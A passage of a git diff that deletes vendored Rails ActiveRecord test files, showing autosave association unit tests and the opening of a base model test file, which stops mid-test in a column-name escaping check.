-class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
-  fixtures :companies, :people
-
-  def test_invalid_adding
-    firm = Firm.find(1)
-    assert !(firm.clients_of_firm << c = Client.new)
-    assert c.new_record?
-    assert !firm.valid?
-    assert !firm.save
-    assert c.new_record?
-  end
-
-  def test_invalid_adding_before_save
-    no_of_firms = Firm.count
-    no_of_clients = Client.count
-    new_firm = Firm.new("name" => "A New Firm, Inc")
-    new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
-    assert c.new_record?
-    assert !c.valid?
-    assert !new_firm.valid?
-    assert !new_firm.save
-    assert c.new_record?
-    assert new_firm.new_record?
-  end
-
-  def test_invalid_adding_with_validate_false
-    firm = Firm.find(:first)
-    client = Client.new
-    firm.unvalidated_clients_of_firm << client
-
-    assert firm.valid?
-    assert !client.valid?
-    assert firm.save
-    assert client.new_record?
-  end
-
-  def test_valid_adding_with_validate_false
-    no_of_clients = Client.count
-
-    firm = Firm.find(:first)
-    client = Client.new("name" => "Apple")
-
-    assert firm.valid?
-    assert client.valid?
-    assert client.new_record?
-
-    firm.unvalidated_clients_of_firm << client
-
-    assert firm.save
-    assert !client.new_record?
-    assert_equal no_of_clients+1, Client.count
-  end
-
-  def test_invalid_build
-    new_client = companies(:first_firm).clients_of_firm.build
-    assert new_client.new_record?
-    assert !new_client.valid?
-    assert_equal new_client, companies(:first_firm).clients_of_firm.last
-    assert !companies(:first_firm).save
-    assert new_client.new_record?
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_adding_before_save
-    no_of_firms = Firm.count
-    no_of_clients = Client.count
-
-    new_firm = Firm.new("name" => "A New Firm, Inc")
-    c = Client.new("name" => "Apple")
-
-    new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
-    assert_equal 1, new_firm.clients_of_firm.size
-    new_firm.clients_of_firm << c
-    assert_equal 2, new_firm.clients_of_firm.size
-
-    assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
-    assert_equal no_of_clients, Client.count  # Clients were not saved to database.
-    assert new_firm.save
-    assert !new_firm.new_record?
-    assert !c.new_record?
-    assert_equal new_firm, c.firm
-    assert_equal no_of_firms+1, Firm.count      # Firm was saved to database.
-    assert_equal no_of_clients+2, Client.count  # Clients were saved to database.
-
-    assert_equal 2, new_firm.clients_of_firm.size
-    assert_equal 2, new_firm.clients_of_firm(true).size
-  end
-
-  def test_assign_ids
-    firm = Firm.new("name" => "Apple")
-    firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
-    firm.save
-    firm.reload
-    assert_equal 2, firm.clients.length
-    assert firm.clients.include?(companies(:second_client))
-  end
-
-  def test_assign_ids_for_through_a_belongs_to
-    post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
-    post.person_ids = [people(:david).id, people(:michael).id]
-    post.save
-    post.reload
-    assert_equal 2, post.people.length
-    assert post.people.include?(people(:david))
-  end
-
-  def test_build_before_save
-    company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
-    assert !company.clients_of_firm.loaded?
-
-    company.name += '-changed'
-    assert_queries(2) { assert company.save }
-    assert !new_client.new_record?
-    assert_equal 2, company.clients_of_firm(true).size
-  end
-
-  def test_build_many_before_save
-    company = companies(:first_firm)
-    new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
-
-    company.name += '-changed'
-    assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
-  end
-
-  def test_build_via_block_before_save
-    company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
-    assert !company.clients_of_firm.loaded?
-
-    company.name += '-changed'
-    assert_queries(2) { assert company.save }
-    assert !new_client.new_record?
-    assert_equal 2, company.clients_of_firm(true).size
-  end
-
-  def test_build_many_via_block_before_save
-    company = companies(:first_firm)
-    new_clients = assert_no_queries do
-      company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
-        client.name = "changed"
-      end
-    end
-
-    company.name += '-changed'
-    assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
-  end
-
-  def test_replace_on_new_object
-    firm = Firm.new("name" => "New Firm")
-    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
-    assert firm.save
-    firm.reload
-    assert_equal 2, firm.clients.length
-    assert firm.clients.include?(Client.find_by_name("New Client"))
-  end
-end
-
-class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
-  def test_autosave_new_record_on_belongs_to_can_be_disabled_per_relationship
-    new_account = Account.new("credit_limit" => 1000)
-    new_firm = Firm.new("name" => "some firm")
-
-    assert new_firm.new_record?
-    new_account.firm = new_firm
-    new_account.save!
-
-    assert !new_firm.new_record?
-
-    new_account = Account.new("credit_limit" => 1000)
-    new_autosaved_firm = Firm.new("name" => "some firm")
-
-    assert new_autosaved_firm.new_record?
-    new_account.unautosaved_firm = new_autosaved_firm
-    new_account.save!
-
-    assert new_autosaved_firm.new_record?
-  end
-
-  def test_autosave_new_record_on_has_one_can_be_disabled_per_relationship
-    firm = Firm.new("name" => "some firm")
-    account = Account.new("credit_limit" => 1000)
-
-    assert account.new_record?
-    firm.account = account
-    firm.save!
-
-    assert !account.new_record?
-
-    firm = Firm.new("name" => "some firm")
-    account = Account.new("credit_limit" => 1000)
-
-    firm.unautosaved_account = account
-
-    assert account.new_record?
-    firm.unautosaved_account = account
-    firm.save!
-
-    assert account.new_record?
-  end
-
-  def test_autosave_new_record_on_has_many_can_be_disabled_per_relationship
-    firm = Firm.new("name" => "some firm")
-    account = Account.new("credit_limit" => 1000)
-
-    assert account.new_record?
-    firm.accounts << account
-
-    firm.save!
-    assert !account.new_record?
-
-    firm = Firm.new("name" => "some firm")
-    account = Account.new("credit_limit" => 1000)
-
-    assert account.new_record?
-    firm.unautosaved_accounts << account
-
-    firm.save!
-    assert account.new_record?
-  end
-end
-
-class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
-  end
-
-  # reload
-  def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
-    @pirate.mark_for_destruction
-    @pirate.ship.mark_for_destruction
-
-    assert !@pirate.reload.marked_for_destruction?
-    assert !@pirate.ship.marked_for_destruction?
-  end
-
-  # has_one
-  def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
-    assert !@pirate.ship.marked_for_destruction?
-
-    @pirate.ship.mark_for_destruction
-    id = @pirate.ship.id
-
-    assert @pirate.ship.marked_for_destruction?
-    assert Ship.find_by_id(id)
-
-    @pirate.save
-    assert_nil @pirate.reload.ship
-    assert_nil Ship.find_by_id(id)
-  end
-
-  def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
-    @pirate.ship.name = ''
-    assert !@pirate.valid?
-
-    @pirate.ship.mark_for_destruction
-    @pirate.ship.expects(:valid?).never
-    assert_difference('Ship.count', -1) { @pirate.save! }
-  end
-
-  def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
-    @pirate.ship.mark_for_destruction
-    assert @pirate.save
-    @pirate.ship.expects(:destroy).never
-    assert @pirate.save
-  end
-
-  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
-    # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
-    class << @pirate.ship
-      def save(*args)
-        super
-        destroy
-        raise 'Oh noes!'
-      end
-    end
-
-    assert_raise(RuntimeError) { assert !@pirate.save }
-    assert_not_nil @pirate.reload.ship
-  end
-
-  # belongs_to
-  def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
-    assert !@ship.pirate.marked_for_destruction?
-
-    @ship.pirate.mark_for_destruction
-    id = @ship.pirate.id
-
-    assert @ship.pirate.marked_for_destruction?
-    assert Pirate.find_by_id(id)
-
-    @ship.save
-    assert_nil @ship.reload.pirate
-    assert_nil Pirate.find_by_id(id)
-  end
-
-  def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
-    @ship.pirate.catchphrase = ''
-    assert !@ship.valid?
-
-    @ship.pirate.mark_for_destruction
-    @ship.pirate.expects(:valid?).never
-    assert_difference('Pirate.count', -1) { @ship.save! }
-  end
-
-  def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
-    @ship.pirate.mark_for_destruction
-    assert @ship.save
-    @ship.pirate.expects(:destroy).never
-    assert @ship.save
-  end
-
-  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
-    # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
-    class << @ship.pirate
-      def save(*args)
-        super
-        destroy
-        raise 'Oh noes!'
-      end
-    end
-
-    assert_raise(RuntimeError) { assert !@ship.save }
-    assert_not_nil @ship.reload.pirate
-  end
-
-  # has_many & has_and_belongs_to
-  %w{ parrots birds }.each do |association_name|
-    define_method("test_should_destroy_#{association_name}_as_part_of_the_save_transaction_if_they_were_marked_for_destroyal") do
-      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
-
-      assert !@pirate.send(association_name).any? { |child| child.marked_for_destruction? }
-
-      @pirate.send(association_name).each { |child| child.mark_for_destruction }
-      klass = @pirate.send(association_name).first.class
-      ids = @pirate.send(association_name).map(&:id)
-
-      assert @pirate.send(association_name).all? { |child| child.marked_for_destruction? }
-      ids.each { |id| assert klass.find_by_id(id) }
-
-      @pirate.save
-      assert @pirate.reload.send(association_name).empty?
-      ids.each { |id| assert_nil klass.find_by_id(id) }
-    end
-
-    define_method("test_should_skip_validation_on_the_#{association_name}_association_if_marked_for_destruction") do
-      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
-      children = @pirate.send(association_name)
-
-      children.each { |child| child.name = '' }
-      assert !@pirate.valid?
-
-      children.each do |child|
-        child.mark_for_destruction
-        child.expects(:valid?).never
-      end
-      assert_difference("#{association_name.classify}.count", -2) { @pirate.save! }
-    end
-    
-    define_method("test_should_skip_validation_on_the_#{association_name}_association_if_destroyed") do
-      @pirate.send(association_name).create!(:name => "#{association_name}_1")
-      children = @pirate.send(association_name)
-
-      children.each { |child| child.name = '' }
-      assert !@pirate.valid?
-
-      children.each { |child| child.destroy }
-      assert @pirate.valid?
-    end
-
-    define_method("test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_#{association_name}") do
-      @pirate.send(association_name).create!(:name => "#{association_name}_1")
-      children = @pirate.send(association_name)
-
-      children.each { |child| child.mark_for_destruction }
-      assert @pirate.save
-      children.each { |child| child.expects(:destroy).never }
-      assert @pirate.save
-    end
-
-    define_method("test_should_rollback_destructions_if_an_exception_occurred_while_saving_#{association_name}") do
-      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
-      before = @pirate.send(association_name).map { |c| c.mark_for_destruction ; c }
-
-      # Stub the destroy method of the the second child to raise an exception
-      class << before.last
-        def destroy(*args)
-          super
-          raise 'Oh noes!'
-        end
-      end
-
-      assert_raise(RuntimeError) { assert !@pirate.save }
-      assert before.first.frozen? # the first child was indeed destroyed
-      assert_equal before, @pirate.reload.send(association_name)
-    end
-
-    # Add and remove callbacks tests for association collections.
-    %w{ method proc }.each do |callback_type|
-      define_method("test_should_run_add_callback_#{callback_type}s_for_#{association_name}") do
-        association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
-
-        pirate = Pirate.new(:catchphrase => "Arr")
-        pirate.send(association_name_with_callbacks).build(:name => "Crowe the One-Eyed")
-
-        expected = [
-          "before_adding_#{callback_type}_#{association_name.singularize}_<new>",
-          "after_adding_#{callback_type}_#{association_name.singularize}_<new>"
-        ]
-
-        assert_equal expected, pirate.ship_log
-      end
-
-      define_method("test_should_run_remove_callback_#{callback_type}s_for_#{association_name}") do
-        association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
-
-        @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
-        @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
-        child_id = @pirate.send(association_name_with_callbacks).first.id
-
-        @pirate.ship_log.clear
-        @pirate.save
-
-        expected = [
-          "before_removing_#{callback_type}_#{association_name.singularize}_#{child_id}",
-          "after_removing_#{callback_type}_#{association_name.singularize}_#{child_id}"
-        ]
-
-        assert_equal expected, @pirate.ship_log
-      end
-    end
-  end
-end
-
-class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
-  end
-
-  def test_should_still_work_without_an_associated_model
-    @ship.destroy
-    @pirate.reload.catchphrase = "Arr"
-    @pirate.save
-    assert 'Arr', @pirate.reload.catchphrase
-  end
-
-  def test_should_automatically_save_the_associated_model
-    @pirate.ship.name = 'The Vile Insanity'
-    @pirate.save
-    assert_equal 'The Vile Insanity', @pirate.reload.ship.name
-  end
-
-  def test_should_automatically_save_bang_the_associated_model
-    @pirate.ship.name = 'The Vile Insanity'
-    @pirate.save!
-    assert_equal 'The Vile Insanity', @pirate.reload.ship.name
-  end
-
-  def test_should_automatically_validate_the_associated_model
-    @pirate.ship.name = ''
-    assert !@pirate.valid?
-    assert_equal "can't be blank", @pirate.errors.on(:"ship.name")
-  end
-
-  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
-    @pirate.ship.name   = nil
-    @pirate.catchphrase = nil
-    assert !@pirate.valid?
-    assert @pirate.errors.full_messages.include?("Name can't be blank")
-    assert @pirate.errors.full_messages.include?("Catchphrase can't be blank")
-  end
-
-  def test_should_still_allow_to_bypass_validations_on_the_associated_model
-    @pirate.catchphrase = ''
-    @pirate.ship.name = ''
-    @pirate.save(false)
-    assert_equal ['', ''], [@pirate.reload.catchphrase, @pirate.ship.name]
-  end
-
-  def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
-    2.times { |i| @pirate.ship.parts.create!(:name => "part #{i}") }
-
-    @pirate.catchphrase = ''
-    @pirate.ship.name = ''
-    @pirate.ship.parts.each { |part| part.name = '' }
-    @pirate.save(false)
-
-    values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
-    assert_equal ['', '', '', ''], values
-  end
-
-  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
-    @pirate.ship.name = ''
-    assert_raise(ActiveRecord::RecordInvalid) do
-      @pirate.save!
-    end
-  end
-
-  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
-    pirate = Pirate.new(:catchphrase => 'Arr')
-    ship = pirate.build_ship(:name => 'The Vile Insanity')
-    ship.cancel_save_from_callback = true
-
-    assert_no_difference 'Pirate.count' do
-      assert_no_difference 'Ship.count' do
-        assert !pirate.save
-      end
-    end
-  end
-
-  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
-    before = [@pirate.catchphrase, @pirate.ship.name]
-
-    @pirate.catchphrase = 'Arr'
-    @pirate.ship.name = 'The Vile Insanity'
-
-    # Stub the save method of the @pirate.ship instance to raise an exception
-    class << @pirate.ship
-      def save(*args)
-        super
-        raise 'Oh noes!'
-      end
-    end
-
-    assert_raise(RuntimeError) { assert !@pirate.save }
-    assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
-  end
-
-  def test_should_not_load_the_associated_model
-    assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
-  end
-end
-
-class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @ship = Ship.create(:name => 'Nights Dirty Lightning')
-    @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-  end
-
-  def test_should_still_work_without_an_associated_model
-    @pirate.destroy
-    @ship.reload.name = "The Vile Insanity"
-    @ship.save
-    assert 'The Vile Insanity', @ship.reload.name
-  end
-
-  def test_should_automatically_save_the_associated_model
-    @ship.pirate.catchphrase = 'Arr'
-    @ship.save
-    assert_equal 'Arr', @ship.reload.pirate.catchphrase
-  end
-
-  def test_should_automatically_save_bang_the_associated_model
-    @ship.pirate.catchphrase = 'Arr'
-    @ship.save!
-    assert_equal 'Arr', @ship.reload.pirate.catchphrase
-  end
-
-  def test_should_automatically_validate_the_associated_model
-    @ship.pirate.catchphrase = ''
-    assert !@ship.valid?
-    assert_equal "can't be blank", @ship.errors.on(:"pirate.catchphrase")
-  end
-
-  def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
-    @ship.name = nil
-    @ship.pirate.catchphrase = nil
-    assert !@ship.valid?
-    assert @ship.errors.full_messages.include?("Name can't be blank")
-    assert @ship.errors.full_messages.include?("Catchphrase can't be blank")
-  end
-
-  def test_should_still_allow_to_bypass_validations_on_the_associated_model
-    @ship.pirate.catchphrase = ''
-    @ship.name = ''
-    @ship.save(false)
-    assert_equal ['', ''], [@ship.reload.name, @ship.pirate.catchphrase]
-  end
-
-  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
-    @ship.pirate.catchphrase = ''
-    assert_raise(ActiveRecord::RecordInvalid) do
-      @ship.save!
-    end
-  end
-
-  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
-    ship = Ship.new(:name => 'The Vile Insanity')
-    pirate = ship.build_pirate(:catchphrase => 'Arr')
-    pirate.cancel_save_from_callback = true
-
-    assert_no_difference 'Ship.count' do
-      assert_no_difference 'Pirate.count' do
-        assert !ship.save
-      end
-    end
-  end
-
-  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
-    before = [@ship.pirate.catchphrase, @ship.name]
-
-    @ship.pirate.catchphrase = 'Arr'
-    @ship.name = 'The Vile Insanity'
-
-    # Stub the save method of the @ship.pirate instance to raise an exception
-    class << @ship.pirate
-      def save(*args)
-        super
-        raise 'Oh noes!'
-      end
-    end
-
-    assert_raise(RuntimeError) { assert !@ship.save }
-    assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
-  end
-
-  def test_should_not_load_the_associated_model
-    assert_queries(1) { @ship.name = 'The Vile Insanity'; @ship.save! }
-  end
-end
-
-module AutosaveAssociationOnACollectionAssociationTests
-  def test_should_automatically_save_the_associated_models
-    new_names = ['Grace OMalley', 'Privateers Greed']
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
-
-    @pirate.save
-    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
-  end
-
-  def test_should_automatically_save_bang_the_associated_models
-    new_names = ['Grace OMalley', 'Privateers Greed']
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
-
-    @pirate.save!
-    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
-  end
-
-  def test_should_automatically_validate_the_associated_models
-    @pirate.send(@association_name).each { |child| child.name = '' }
-
-    assert !@pirate.valid?
-    assert @pirate.errors.full_messages.include?("Name can't be blank")
-    assert @pirate.errors.on(@association_name).blank?
-  end
-
-  def test_should_not_use_default_invalid_error_on_associated_models
-    @pirate.send(@association_name).build(:name => '')
-
-    assert !@pirate.valid?
-    assert_equal "can't be blank", @pirate.errors.on("#{@association_name}.name")
-    assert @pirate.errors.on(@association_name).blank?
-  end
-
-  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
-    @pirate.send(@association_name).each { |child| child.name = '' }
-    @pirate.catchphrase = nil
-
-    assert !@pirate.valid?
-    assert_equal "can't be blank", @pirate.errors.on("#{@association_name}.name")
-    assert !@pirate.errors.on(:catchphrase).blank?
-  end
-
-  def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
-    @pirate.catchphrase = ''
-    @pirate.send(@association_name).each { |child| child.name = '' }
-
-    assert @pirate.save(false)
-    assert_equal ['', '', ''], [
-      @pirate.reload.catchphrase,
-      @pirate.send(@association_name).first.name,
-      @pirate.send(@association_name).last.name
-    ]
-  end
-
-  def test_should_validation_the_associated_models_on_create
-    assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
-      2.times { @pirate.send(@association_name).build }
-      @pirate.save(true)
-    end
-  end
-
-  def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
-    assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", +2) do
-      2.times { @pirate.send(@association_name).build }
-      @pirate.save(false)
-    end
-  end
-
-  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving_in_either_create_or_update
-    @pirate.catchphrase = 'Changed'
-    @child_1.name = 'Changed'
-    @child_1.cancel_save_from_callback = true
-
-    assert !@pirate.save
-    assert_equal "Don' botharrr talkin' like one, savvy?", @pirate.reload.catchphrase
-    assert_equal "Posideons Killer", @child_1.reload.name
-
-    new_pirate = Pirate.new(:catchphrase => 'Arr')
-    new_child = new_pirate.send(@association_name).build(:name => 'Grace OMalley')
-    new_child.cancel_save_from_callback = true
-
-    assert_no_difference 'Pirate.count' do
-      assert_no_difference "#{new_child.class.name}.count" do
-        assert !new_pirate.save
-      end
-    end
-  end
-
-  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
-    before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
-    new_names = ['Grace OMalley', 'Privateers Greed']
-
-    @pirate.catchphrase = 'Arr'
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
-
-    # Stub the save method of the first child instance to raise an exception
-    class << @pirate.send(@association_name).first
-      def save(*args)
-        super
-        raise 'Oh noes!'
-      end
-    end
-
-    assert_raise(RuntimeError) { assert !@pirate.save }
-    assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
-  end
-
-  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
-    @pirate.send(@association_name).each { |child| child.name = '' }
-    assert_raise(ActiveRecord::RecordInvalid) do
-      @pirate.save!
-    end
-  end
-
-  def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
-    assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
-
-    @pirate.send(@association_name).class # hack to load the target
-
-    assert_queries(3) do
-      @pirate.catchphrase = 'Yarr'
-      new_names = ['Grace OMalley', 'Privateers Greed']
-      @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
-      @pirate.save!
-    end
-  end
-end
-
-class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @association_name = :birds
-
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
-    @child_2 = @pirate.birds.create(:name => 'Killer bandita Dionne')
-  end
-
-  include AutosaveAssociationOnACollectionAssociationTests
-end
-
-class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @association_name = :parrots
-    @habtm = true
-
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
-    @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
-  end
-
-  include AutosaveAssociationOnACollectionAssociationTests
-end
-
-class TestAutosaveAssociationValidationsOnAHasManyAssocication < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @pirate.birds.create(:name => 'cookoo')
-  end
-
-  test "should automatically validate associations" do
-    assert @pirate.valid?
-    @pirate.birds.each { |bird| bird.name = '' }
-
-    assert !@pirate.valid?
-  end
-end
-
-class TestAutosaveAssociationValidationsOnAHasOneAssocication < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @pirate.create_ship(:name => 'titanic')
-  end
-
-  test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
-    @pirate.ship.name = ''
-    assert !@pirate.valid?
-  end
-
-  test "should not automatically validate associations without :validate => true" do
-    assert @pirate.valid?
-    @pirate.non_validated_ship.name = ''
-    assert @pirate.valid?
-  end
-end
-
-class TestAutosaveAssociationValidationsOnABelongsToAssocication < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-  end
-
-  test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
-    @pirate.parrot = Parrot.new(:name => '')
-    assert !@pirate.valid?
-  end
-
-  test "should not automatically validate associations without :validate => true" do
-    assert @pirate.valid?
-    @pirate.non_validated_parrot = Parrot.new(:name => '')
-    assert @pirate.valid?
-  end
-end
-
-class TestAutosaveAssociationValidationsOnAHABTMAssocication < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-  end
-
-  test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
-    @pirate.parrots = [ Parrot.new(:name => 'popuga') ]
-    @pirate.parrots.each { |parrot| parrot.name = '' }
-    assert !@pirate.valid?
-  end
-
-  test "should not automatically validate associations without :validate => true" do
-    assert @pirate.valid?
-    @pirate.non_validated_parrots = [ Parrot.new(:name => 'popuga') ]
-    @pirate.non_validated_parrots.each { |parrot| parrot.name = '' }
-    assert @pirate.valid?
-  end
-end
-
-class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @pirate = Pirate.new
-  end
-
-  test "should generate validation methods for has_many associations" do
-    assert @pirate.respond_to?(:validate_associated_records_for_birds)
-  end
-
-  test "should generate validation methods for has_one associations with :validate => true" do
-    assert @pirate.respond_to?(:validate_associated_records_for_ship)
-  end
-
-  test "should not generate validation methods for has_one associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_ship)
-  end
-
-  test "should generate validation methods for belongs_to associations with :validate => true" do
-    assert @pirate.respond_to?(:validate_associated_records_for_parrot)
-  end
-
-  test "should not generate validation methods for belongs_to associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrot)
-  end
-
-  test "should generate validation methods for HABTM associations with :validate => true" do
-    assert @pirate.respond_to?(:validate_associated_records_for_parrots)
-  end
-
-  test "should not generate validation methods for HABTM associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
-  end
-end
-
-class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
-  def test_autosave_with_touch_should_not_raise_system_stack_error
-    invoice = Invoice.create
-    assert_nothing_raised { invoice.line_items.create(:amount => 10) }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/base_test.rb b/vendor/rails/activerecord/test/cases/base_test.rb
deleted file mode 100755
index 242be2af..00000000
--- a/vendor/rails/activerecord/test/cases/base_test.rb
+++ /dev/null
@@ -1,2160 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/event_author'
-require 'models/topic'
-require 'models/reply'
-require 'models/category'
-require 'models/company'
-require 'models/customer'
-require 'models/developer'
-require 'models/project'
-require 'models/default'
-require 'models/auto_id'
-require 'models/column_name'
-require 'models/subscriber'
-require 'models/keyboard'
-require 'models/comment'
-require 'models/minimalistic'
-require 'models/warehouse_thing'
-require 'models/parrot'
-require 'rexml/document'
-
-class Category < ActiveRecord::Base; end
-class Categorization < ActiveRecord::Base; end
-class Smarts < ActiveRecord::Base; end
-class CreditCard < ActiveRecord::Base
-  class PinNumber < ActiveRecord::Base
-    class CvvCode < ActiveRecord::Base; end
-    class SubCvvCode < CvvCode; end
-  end
-  class SubPinNumber < PinNumber; end
-  class Brand < Category; end
-end
-class MasterCreditCard < ActiveRecord::Base; end
-class Post < ActiveRecord::Base; end
-class Computer < ActiveRecord::Base; end
-class NonExistentTable < ActiveRecord::Base; end
-class TestOracleDefault < ActiveRecord::Base; end
-
-class LoosePerson < ActiveRecord::Base
-  self.table_name = 'people'
-  self.abstract_class = true
-  attr_protected :credit_rating, :administrator
-end
-
-class LooseDescendant < LoosePerson
-  attr_protected :phone_number
-end
-
-class LooseDescendantSecond< LoosePerson
-  attr_protected :phone_number
-  attr_protected :name
-end
-
-class TightPerson < ActiveRecord::Base
-  self.table_name = 'people'
-  attr_accessible :name, :address
-end
-
-class TightDescendant < TightPerson
-  attr_accessible :phone_number
-end
-
-class ReadonlyTitlePost < Post
-  attr_readonly :title
-end
-
-class Booleantest < ActiveRecord::Base; end
-
-class Task < ActiveRecord::Base
-  attr_protected :starting
-end
-
-class TopicWithProtectedContentAndAccessibleAuthorName < ActiveRecord::Base
-  self.table_name = 'topics'
-  attr_accessible :author_name
-  attr_protected  :content
-end
-
-class BasicsTest < ActiveRecord::TestCase
-  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
-
-  def test_column_names_are_escaped
-    conn      = ActiveRecord::Base.connection
-    classname = conn.class.name[/[^:]*$/]
-    badchar   = {
-      'SQLite3Adapter'    => '"',
-      'MysqlAdapter'      => '`',
-      'Mysql2Adapter'     => '`',
-      'PostgreSQLAdapter' => '"',
-      'OracleAdapter'     => '"',
-    }.fetch(classname) {
-      raise "need a bad char for #{classname}"
-    }
-
